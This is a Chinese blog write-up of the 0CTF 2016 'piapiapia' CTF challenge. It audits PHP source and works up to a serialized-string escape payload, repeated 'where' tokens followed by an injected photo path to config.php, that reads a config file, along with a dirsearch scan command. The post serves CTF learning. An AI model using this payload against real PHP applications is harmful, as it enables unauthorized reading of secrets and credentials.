程序员最近都爱上了这个网站  程序员们快来瞅瞅吧!  it98k网:it98k.com

本站消息

站长简介/公众号

  出租广告位,需要合作请联系站长

+关注
已关注

分类  

暂无分类

标签  

暂无标签

日期归档  

[0CTF 2016]piapiapia

发布于2021-06-07 20:41     阅读(530)     评论(0)     点赞(0)     收藏(4)


看到一个登录框,尝试了弱密码爆破,sql注入也想试一下,都没成功,看来需要注册账号,但是页面上没有注册账号的按钮,理论上来讲可以用后台扫描扫一下后天看看有没有其他的页面或者内容的,但是buuctf扫描太快会显示429,不过我们可以猜一下注册页面应该是register.php。打开一看果然有注册页面。

登录成功之后,修改个人信息,可以看到在这里有文件上传选项,想要尝试文件上传获取shell的方式没有成功。上传了一个正常信息之后,

扫描后台可以使用这个命令可以缓解429的情况,这条命令给扫描加了个延时,

dirsearch -u http://03ac7628-2235-4ec1-838d-9ad73597826d.node3.buuoj.cn/ -s 2 -i 200

扫描结果可以看到有备份的源码。

代码审计

我们可以从config.php中找到flag。

  1. <?php
  2. $config['hostname'] = '127.0.0.1';
  3. $config['username'] = 'root';
  4. $config['password'] = '';
  5. $config['database'] = '';
  6. $flag = '';
  7. ?>

注册和登陆界面没有可以攻击的地方我们的重点还是放在update.php和profile.php上。。

下面时update.php的代码。

  1. <?php
  2. require_once('class.php');
  3. if($_SESSION['username'] == null) {
  4. die('Login First');
  5. }
  6. if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
  7. $username = $_SESSION['username'];
  8. if(!preg_match('/^\d{11}$/', $_POST['phone']))
  9. die('Invalid phone');
  10. if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
  11. die('Invalid email');
  12. if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
  13. die('Invalid nickname');
  14. $file = $_FILES['photo'];
  15. if($file['size'] < 5 or $file['size'] > 1000000)
  16. die('Photo size error');
  17. move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
  18. $profile['phone'] = $_POST['phone'];
  19. $profile['email'] = $_POST['email'];
  20. $profile['nickname'] = $_POST['nickname'];
  21. $profile['photo'] = 'upload/' . md5($file['name']);
  22. $user->update_profile($username, serialize($profile));
  23. echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
  24. }
  25. else {
  26. ?>
  27. <!DOCTYPE html>
  28. <html>
  29. <head>
  30. <title>UPDATE</title>
  31. <link href="static/bootstrap.min.css" rel="stylesheet">
  32. <script src="static/jquery.min.js"></script>
  33. <script src="static/bootstrap.min.js"></script>
  34. </head>
  35. <body>
  36. <div class="container" style="margin-top:100px">
  37. <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
  38. <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
  39. <h3>Please Update Your Profile</h3>
  40. <label>Phone:</label>
  41. <input type="text" name="phone" style="height:30px"class="span3"/>
  42. <label>Email:</label>
  43. <input type="text" name="email" style="height:30px"class="span3"/>
  44. <label>Nickname:</label>
  45. <input type="text" name="nickname" style="height:30px" class="span3">
  46. <label for="file">Photo:</label>
  47. <input type="file" name="photo" style="height:30px"class="span3"/>
  48. <button type="submit" class="btn btn-primary">UPDATE</button>
  49. </form>
  50. </div>
  51. </body>
  52. </html>
  53. <?php
  54. }
  55. ?>

看代码可以看到我们输入的内容被过滤了一层,其中对nickname的限制还有长度要<10,但是我们传入nickname的内容是一个数组,就可以绕过长度限制。

我们在php的代码看到序列化函数,这里可以尝试反序列化漏洞。

$user->update_profile($username, serialize($profile));

让我们看一下update_profile函数的具体内容。

  1. public function update_profile($username, $new_profile) {
  2. $username = parent::filter($username);
  3. $new_profile = parent::filter($new_profile);
  4. $where = "username = '$username'";
  5. return parent::update($this->table, 'profile', $new_profile, $where);
  6. }

我们看到最后会调用父类的update方法将内容写入数据库。filter函数就是通过正则表达式过滤用户输入,将非法值替换为hacker。

  1. public function filter($string) {
  2. $escape = array('\'', '\\\\');
  3. $escape = '/' . implode('|', $escape) . '/';
  4. $string = preg_replace($escape, '_', $string);
  5. $safe = array('select', 'insert', 'update', 'delete', 'where');
  6. $safe = '/' . implode('|', $safe) . '/i';
  7. return preg_replace($safe, 'hacker', $string);
  8. }

至此update.php就已经了解清楚了,下面是profile.php的代码。

  1. <?php
  2. require_once('class.php');
  3. if($_SESSION['username'] == null) {
  4. die('Login First');
  5. }
  6. $username = $_SESSION['username'];
  7. $profile=$user->show_profile($username);
  8. if($profile == null) {
  9. header('Location: update.php');
  10. }
  11. else {
  12. $profile = unserialize($profile);
  13. $phone = $profile['phone'];
  14. $email = $profile['email'];
  15. $nickname = $profile['nickname'];
  16. $photo = base64_encode(file_get_contents($profile['photo']));
  17. ?>
  18. <!DOCTYPE html>
  19. <html>
  20. <head>
  21. <title>Profile</title>
  22. <link href="static/bootstrap.min.css" rel="stylesheet">
  23. <script src="static/jquery.min.js"></script>
  24. <script src="static/bootstrap.min.js"></script>
  25. </head>
  26. <body>
  27. <div class="container" style="margin-top:100px">
  28. <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
  29. <h3>Hi <?php echo $nickname;?></h3>
  30. <label>Phone: <?php echo $phone;?></label>
  31. <label>Email: <?php echo $email;?></label>
  32. </div>
  33. </body>
  34. </html>
  35. <?php
  36. }
  37. ?>

我们可以看到这里的代码,有反序列化以及文件读取。

flag在config.php中,而且有serialize、unserialize、filter、file_get_contents,这几个关键字组合在一起就是ctf中常见的反序列字符逃逸的常见套路。构造包含config.php的数据,利用字符串逃逸,在profile.php中读取出来。

详细步骤:

注册账户、登陆账户、随意提交一些资料抓包、修改nickname为nickname[],数组绕过长度检测、修改nickname中的内容。

抓包重放,修改nickname为nickname[]

nickname的值为

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

此时,config.php的内容就把photo的位置顶替了,此时访问profile.php,没有图片,查看图片的值base64解码可以获取到flag。

 

原文链接:https://blog.csdn.net/qq_25500649/article/details/117462503



所属网站分类: 技术文章 > 博客

作者:门路弄土了吗

链接:http://www.phpheidong.com/blog/article/89644/76452c28c6dfe0905347/

来源:php黑洞网

任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任

0 0
收藏该文
已收藏

评论内容:(最多支持255个字符)